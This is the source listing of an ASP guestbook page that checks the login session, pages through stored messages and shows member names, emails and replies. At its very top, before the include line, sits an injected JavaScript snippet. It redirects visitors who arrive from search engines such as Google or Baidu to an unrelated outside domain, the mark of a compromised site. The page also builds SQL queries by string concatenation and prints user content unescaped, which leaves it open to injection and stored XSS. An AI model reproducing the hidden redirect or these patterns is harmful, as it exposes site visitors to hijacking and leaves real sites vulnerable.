d:\wwwroot\wuchunhua\liuyan\board\index.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="config.asp"-->
003:
<%
004:
'检查用户是否已经登陆,为真则直接进入系统主界面
005:
If Session("IsPassed") = Empty Or Session("IsPassed") = False Then
006:
'没有登陆,返回login.asp要求先登陆
007:
Response.Redirect "../login.asp?ErrMsg=请先登陆"
008:
Response.End
009:
End If
010:
%
>
011:
<html>
012:
<head>
013:
<title>1z88.com一折发发网
<%
=sitename
%
></title>
014:
<link rel="stylesheet" href="style.css" type="text/css">
015:
</head>
016:
<body background=images/bg.gif topmargin="0" leftmargin="0">
017:
<table width="760" border=0 cellspacing=0 cellpadding=0 bgcolor="#FFFFFF" align=center class="grayline">
018:
<tr><td><img border="0" src="IMAGES/TOPS.gif" width=758></td></tr>
019:
</table>
020:
<center>
021:
<table width="760" border=0 cellspacing=0 cellpadding=0 align=center bgcolor="#FFFFFF" class="grayline">
022:
<tr>
023:
<td align=center height=25 colspan="2" width="680">
024:
<a href=addnote.asp><img border=0 src=images/Write.gif title="我要写留言"></a>
025:
<a href=index.asp><img border=0 src=images/read.gif title="留言本首页"></a>
026:
027:
<a href=admin.asp><img border=0 src=images/admin_home.gif title="管理首页"></a>
028:
</td>
029:
</tr>
030:
<tr>
031:
<td>
032:
<%
033:
Dim UserName, Contents, Reply,Usermail,url,replyname
034:
'创建RecordSet 对象 定义 DIGITALNOTE表里面的
035:
036:
Set rs=Server.CreateObject("ADODB.RecordSet")
037:
Set rs1=Server.CreateObject("ADODB.RecordSet")
038:
039:
sql = "SELECT * FROM DIGITALNOTE ORDER BY POSTTIME DESC"
040:
'从数据库中读取留言,并保存在rs 中 按照帖子时间
041:
rs.open sql,conn,1,3
042:
043:
'不存在留言记录 弹出来。
044:
If rs.EOF And rs.BOF Then
045:
Response.Write "目前还没有留言"
046:
Else
047:
'存在记录
048:
'设置每页留言条数
049:
If counts=0 Or counts="" Then counts=10
050:
'设置每页记录数
051:
rs.pageSize = counts
052:
053:
'总页数
054:
allpages = rs.pageCount
055:
056:
'从浏览器取得当前页
057:
page = Request("page")
058:
059:
'page不是数字,则设置为1
060:
If Not isNumeric(page) Then page=1
061:
062:
'page 为空或小于1,则设置为1
063:
If isEmpty(page) Or Cint(page) < 1 Then
064:
page = 1
065:
ElseIf Cint(page) >= allPages Then
066:
'page 值大于总页数
067:
'则设置为最后一页
068:
page = allPages
069:
End If
070:
071:
'设置记录集的当前页数
072:
rs.AbsolutePage = page
073:
074:
'循环显示记录集中的记录
075:
Do While Not rs.EOF
076:
'获得回复用户的ID号
077:
ruserid = rs("REPLYUSERID")
078:
079:
'ruserid不为空,说明有回复
080:
If ruserid <> "" And ruserid <> "0"Then
081:
082:
'查询数据库,获得回复用户的信息
083:
sql = "SELECT NAME FROM MEMBER WHERE ID=" & ruserid
084:
'执行查询
085:
rs1.open sql, conn, 1, 1
086:
087:
'获得回复用户的用户名
088:
'如果没有回复则置为空
089:
If Not rs1.EOF Then
090:
replyname = rs1("NAME")
091:
Else
092:
replyname=""
093:
End If
094:
095:
'关闭记录集
096:
rs1.Close
097:
End If
098:
099:
'获得留言用户的ID号
100:
userid = rs("USERID")
101:
'查询数据库,获得留言用户的信息
102:
sql = "SELECT * FROM MEMBER WHERE ID=" & userid
103:
104:
'执行查询 有个数据/至少一个参数没有被指定值。sql选择member表里面id=userid的?
105:
rs1.open sql, conn, 1, 1
106:
107:
If Not rs1.EOF Then
108:
'如果记录集不为空,则获取相关信息
109:
'用户名
110:
UserName=rs1("NAME")
111:
112:
'用户电子邮件地址
113:
Usermail=rs1("EMAIL")
114:
115:
'用户主页地址
116:
url=rs1("URL")
117:
Else
118:
'记录集为空
119:
UserName=""
120:
Usermail=""
121:
url=""
122:
End If
123:
124:
'关闭记录集
125:
rs1.Close
126:
127:
'留言内容
128:
Contents=rs("CONTENTS")
129:
130:
'回复内容
131:
Reply=rs("REPLY")
132:
133:
'序号
134:
I=I+1
135:
'留言序号
136:
temp=RS.RecordCount-(page-1)*rs.pageSize-I+1
137:
%
>
138:
<table cellSpacing="1" cellPadding="3" width="680" align="center" bgColor="#000000" border="0">
139:
<tr>
140:
<td vAlign="top" width="25%" bgColor="#f7f7f7" rowSpan="2" align=center>
141:
<table border=0 width=80
%>
<tr><td align=center></td></tr>
142:
<tr><td>[NO.
<%
=temp
%
>]<br>
143:
<a href="view.asp?userid=
<%
=userid
%
>">
144:
姓名:
<%
=UserName
%
></a><br>
145:
来自:
<%
=left(rs("IP"),(len(rs("IP"))-1))+"*"
%
><br>
146:
邮件:<a href=mailto:
<%
=Usermail
%
>><img src=images/mail.gif border=0></a><br>
147:
主页:<a href="
<%
=URL
%
>" target='_blank'><img src=images/home.gif border=0></a><br><br>
148:
<%
=rs("POSTTIME")
%
></td></tr>
149:
</table>
150:
</td>
151:
<td width="75%" height="20" bgColor="#ffffff">主题:<font color=blue>
<%
=rs("SUBJECT")
%
></font> </td>
152:
</tr>
153:
<tr>
154:
<td vAlign="top" bgColor="#ebebeb" width='75%' height=120 onMouseOver="bgColor='#FFffff'" onMouseOut="bgColor='#ebebeb'">
155:
<%
=Contents
%
>
156:
<br><br>
157:
<%
158:
'如果rs("Reply")不为空
159:
'说明有回复
160:
If rs("REPLY")<>"" Then
161:
%
>
162:
<table cellSpacing="1" cellPadding="3" width="90%" align="center" bgColor="darkgray" border="0">
163:
<tr><td vAlign="top" bgColor="#f7f7f7">
164:
<font color=
<%
=ReplyColor
%
>>管理员
<%
=replyname
%
>回复:<br>
<%
=Reply
%
></font>
165:
</td></tr></table><br>
166:
<%
167:
End If
168:
%
>
169:
</td>
170:
</tr>
171:
</table>
172:
<table cellSpacing="0" cellPadding="0" width="680" align="center" bgColor="#FFFFFF" border="0" height = "2">
173:
<tr><td height=8> </td></tr></table>
174:
<%
175:
'每页显示条数减1
176:
counts = counts - 1
177:
'指向下一条记录
178:
rs.MoveNext
179:
180:
'已经到底最后一条记录则跳出
181:
If rs.EOF Then Exit Do
182:
'结束循环
183:
Loop
184:
%
>
185:
</td></tr>
186:
<tr><td height=50 valign=top align = center>
187:
<%
188:
'显示总留言条数
189:
Response.Write "<br> 总计留言"&RS.RecordCount&"条 "
190:
191:
'到达第一页
192:
If page = 1 Then
193:
'以普通文件显示首页和前页字样
194:
Response.Write "<font color=darkgray>首页 前页</font>"
195:
Else
196:
'不是第一页
197:
'Request.ServerVariable("script_name") 获得程序的虚拟路径
198:
'以超级链接显示首页和前页字样
199:
Response.Write "<a href="&Request.ServerVariables("script_name")&"?page=1>首页</a><a href="&Request.ServerVariables("script_name")&"?page="&page-1&">前页</a>"
200:
End If
201:
202:
'到达最后一页
203:
If page = allpages Then
204:
'以普通文件显示下页和末页字样
205:
Response.Write "<font color=darkgray> 下页 末页</font>"
206:
Else
207:
'不是最后一页
208:
'以超级链接显示下页和末页字样
209:
Response.Write " <a href="&Request.ServerVariables("script_name")&"?page="&page+1&">下页</a> <a href="&Request.ServerVariables("script_name")&"?page="&allpages&">末页</a>"
210:
End If
211:
212:
'显示留言当前的页数信息
213:
Response.Write " 第"&page&"页 共"&allpages&"页 "
214:
%
>
215:
</td></tr>
216:
</table>
217:
<table width="760" border=0 cellspacing=0 cellpadding=0 bgcolor="#FFFFFF" align=center class="grayline">
218:
<tr><td> </td></tr>
219:
<tr><td width=30 height=37 background="IMAGES/down.gif"><a href=#top><img src=images/up.gif border=0></a></td>
220:
<td height=37 background="IMAGES/down.gif"> Copyright © 2005 版权所有</td>
221:
<td width=30 height=37 background="IMAGES/down.gif"><a href=admin_login.asp title="管理留言本"><img src=images/admin.gif border=0></a></td>
222:
</tr>
223:
</table>
224:
</center>
225:
</body>
226:
</html>
227:
<%
228:
End If
229:
230:
'关闭数据库
231:
conn.Close
232:
233:
'释放对象
234:
Set conn = Nothing
235:
%
>
236:
237: